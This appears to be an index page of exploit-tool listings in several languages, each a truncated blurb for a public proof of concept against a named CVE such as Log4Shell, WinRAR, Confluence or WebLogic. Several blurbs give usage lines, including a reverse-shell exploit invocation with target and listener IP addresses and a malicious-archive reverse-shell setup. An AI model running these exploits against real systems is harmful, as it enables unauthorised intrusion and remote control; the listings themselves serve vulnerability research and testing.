CVE-2021-43936

CVE-2021-43936 CVE-2021-43936是一个严重漏洞（CVSS3评分10.0），导致WebHMI固件中的远程代码执行（RCE）。 该漏洞影响4.0版本及最新版本。 仅在4.0.7475上测试。脚本通过以下步骤利用漏洞： 1. 登录应用程序 2. 上传PHP代码执行脚本 3. 发送反向Shell有效负载 如果存在多个NIC，利用可能失败。解决方案是重试一次。 使用示例： python3 cve-2021-43936.py -t 10.100.23.200 -p 80 -l 10.100.23.201 -P 80...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 root@kitploit: / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

log4j-CVE-2021-44228

Apache Log4j Día Cero aka Log4Shell aka CVE-2021-44228 Introducción Reproduciendo el problema en entorno k8s Configurando el entorno k8s con la vulnerabilidad Posibles Soluciones Política de Seguridad de KubeArmor No permitir ejecuciones desde JVM/Java Reglas basadas en denegación por defecto...

CVE-2023-38831_ReverseShell_Winrar-RCE

利用WINRAR漏洞CVE-2023-38831获取反向Shell 在本仓库中，我们将利用WinRAR的CVE-2023-38831漏洞，从而从受害Windows机器获取反向Shell到攻击者Kali Linux机器。 前期步骤 下载本仓库的内容： 接下来，我们需要安装必要的Python依赖，以便利用以下命令利用此漏洞： root@kitploit: pip install rarce 准备工作 我们将执行一个恶意代码，从 revshells.com 获取反向Shell（提供相应的攻击者IP和端口）： https://www.revshells.com/ root@kitploit:...

CVE-2022-26134

CVE-2022-26134 Confluence Server 和 Data Center - CVE-2022-26134 - 严重级别未经验证的远程代码执行漏洞...

CVE-2020-5902

CVE-2020-5902 root@kitploit: / \ \ / / | | \ / \ \ / \ | / \ / \ \ | | \ \ / /| | | | | | | | | || || | | | | | | | \ / / | |/ /| | | |/ /| | | || \, | | | |/ / | | \ / | | / /| || / /| || | | / /| || / / | / || ||/|/ |/ // /| CVE-2020-5902-Scanner.py @nsflabs F5 BIG-IP...

CVE-2024-48990

CVE-2024-48990 针对 CVE-2024-48990 的漏洞利用（needrestart 0 else print"\n",os.getpid; libc.ptrace0, 0, 0, 0; os.exec...

CVE-2020-9047

使用方法/ヘルプメニュー root@kitploit: usage: CVE-2020-9047.py -h -p RPORT -s LPORT --command -d WEBDIR -U USERNAME -P PASSWORD WINDOWS,LINUX,CHECK RHOST LHOST PAYLOAD Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program targets Windows and Linux x86 installations of exacqVision We...

CVE-2022-22965-Spring4Shell-Security-Operations-Analysis

CVE-2022-22965 — Spring4Shell セキュリティ運用分析 ハンズオン形式のセキュリティ運用センター（SOC）シミュレーションです。情報セキュリティアナリストの役割を担い、活発なSpring4Shell悪用試行に対応しました。このリポジトリは、初期検知から分析、緩和に至るまでの完全なインシデント対応ライフサイクルを文書化しています。 免責事項: 本プロジェクトは教育目的でForageのサイバーセキュリティ職務シミュレーションの一環として完了しました。すべての分析は管理されたシミュレーション環境で実施されました。...

CVE-2019-18935

CVE-2019-18935 Telerik UI for ASP.NET AJAX における .NET JSON 逆シリアル化の脆弱性を悪用し、リモートコード実行を可能にする Proof-of-Concept エクスプロイトです。 説明 Telerik UI for ASP.NET AJAX は、Web アプリケーション向けに広く使用されている UI コンポーネント群です。このソフトウェアは JSON オブジェクトを安全でない方法で逆シリアル化するため、ソフトウェアが動作するホスト上で任意のリモートコード実行が可能になります。詳細については、以下を参照してください: DerpCon の...

CVE-2019-7216

CVE-2019-7216 在 filechucker.cgi 5.09 版本和 filechuckerprefs.cgi 4.99e-free-e02 版本中，存在一个过滤器绕过漏洞，在上传时，如果用户上传恶意文件，可能导致远程代码执行。 当 filechucker 尝试过滤文件扩展名并与 filechuckerprefs 的不允许扩展名配置进行比对时，就会发生绕过： root@kitploit: $PREFonlyallowthesefileextensions = ''; $PREFdisallowthesefileextensions = '.exe .php .php3 .ph...

eximrce-CVE-2019-10149

eximrce 用于测试 exim 是否易受 CVE-2019-10149 影响的简单 Python socket 连接。该 payload 仅在 /root/lweximtest 中创建一个文件。输出会很慢，具体取决于服务器的响应，而且我也不知道如何正确使用 Python 的 socket 模块。希望能有人教教我如何加速。仅在 cPanel 服务器上测试过。 在疑似受感染的服务器上本地运行。此命令用于检查是否存在入侵迹象。 root@kitploit: curl -s...

CVE-2023-24489-ShareFile

ShareFile RCE CVE-2023-24489 这是一个利用ShareFile应用程序中远程代码执行漏洞（CVE-2023-24489）的Python脚本。该漏洞允许攻击者在目标系统上执行任意命令。 使用方法 请按照以下说明使用该脚本： 1. 安装所需的依赖项： root@kitploit: pip install requests 2. 使用所需选项运行脚本： root@kitploit: python cve.py --host --windows | --linux --cmd --mass-check 可用选项如下： --host：指定要利用的目标URL。...

CVE-2019-6340

Drupal Drupal 8.6.x RCE Exploit CVE del exploit: CVE-2019-6340 CMS: Drupal Versión del CMS: Drupal 8.6.x probada condición: Drupal 8.6.x, 8.6.10 o Drupal 8.5.11 El módulo RESTful Web Services está habilitado...

CVE-2008-4687-exploit

CVE-2008-4687-exploit CVE-2008-4687 用の手早い雑な Python エクスプロイト。 NIST による説明: Mantis 1.1.4 より前の manageprojpage.php では、リモートの認証済みユーザーが sort パラメータに PHP シーケンスを含めることで任意のコードを実行でき、これらのシーケンスは core/utilityapi.php の multisort 関数内の createfunction によって処理されます。...

CVE-2018-8941

CVE-2018-8941: D-Link DSL-3782 コード実行（概念実証） Adam Simuntis :: https://twitter.com/adamsimuntis Mindaugas Slusnys :: https://twitter.com/mislusnys バッファオーバーフローの脆弱性は、Web GUI の 'Diagnostics' 機能のラッパーとして使用される '/userfs/bin/tcapi' バイナリで発見されました。 認証されたユーザーは、'set DiagnosticsEntry' 関数を使用して '/user/bin/tcapi'...

Stagefright-cve-2015-1538-1

Stagefright-cve-2015-1538-1 由 ZIMPERIUM zLabs 的 Joshua J. Drake（@jduck）发现，并由 Niranjan Shrestha（@niranjanshr13）修复了他的项目。 针对 RCE 漏洞 CVE-2015-1538 1 的 Exploit libstagefright 中 MP4 'stsc' atom 处理的整数溢出 别忘了，"createmp4" 的输出可以通过多种方式传递！ MMS 是最危险的攻击向量，但并非唯一…… 免责声明：此 exploit 仅用于测试和教育目的。任何其他用途均不被允许。使用风险自负。...

CVE-2021-39273-CVE-2021-39274

CVE-2021-39273 在 XeroSecurity Sn1per 9.0（免费版）中，应用程序执行时设置了不安全的权限（0777），导致非特权用户可以修改应用程序、模块和配置文件。这可能导致以 root 权限执行任意代码。 CVE-2021-39274 在 XeroSecurity Sn1per 9.0（免费版）中，安装期间设置了不安全的目录权限（0777），允许非特权用户修改主应用程序和应用程序配置文件。这导致以 root 权限执行任意代码。 测试环境：Ubuntu 21.04 来自 Sn1per 安装说明： root@kitploit:...

staystaystay

staystaystay staystaystay es un exploit de prueba de concepto para CVE-2021-1585, un problema de RCE de intermediario o punto final malicioso que afecta a Cisco ASA Device Manager ASDM. El problema fue descubierto originalmente por Malcolm Lashley y divulgado en el verano de 2021. Sin embargo, en...

POC-CVE-2018-10933

POC-CVE-2018-10933 使用RCE的LibSSH认证绕过漏洞利用 代码参考 YouTube视频https://www.youtube.com/watch?v=ZSWQjmfcn4g示例的Git仓库 漏洞更多信息 https://www.libssh.org/security/advisories/CVE-2018-10933.txt https://vulners.com/cve/CVE-2018-10933...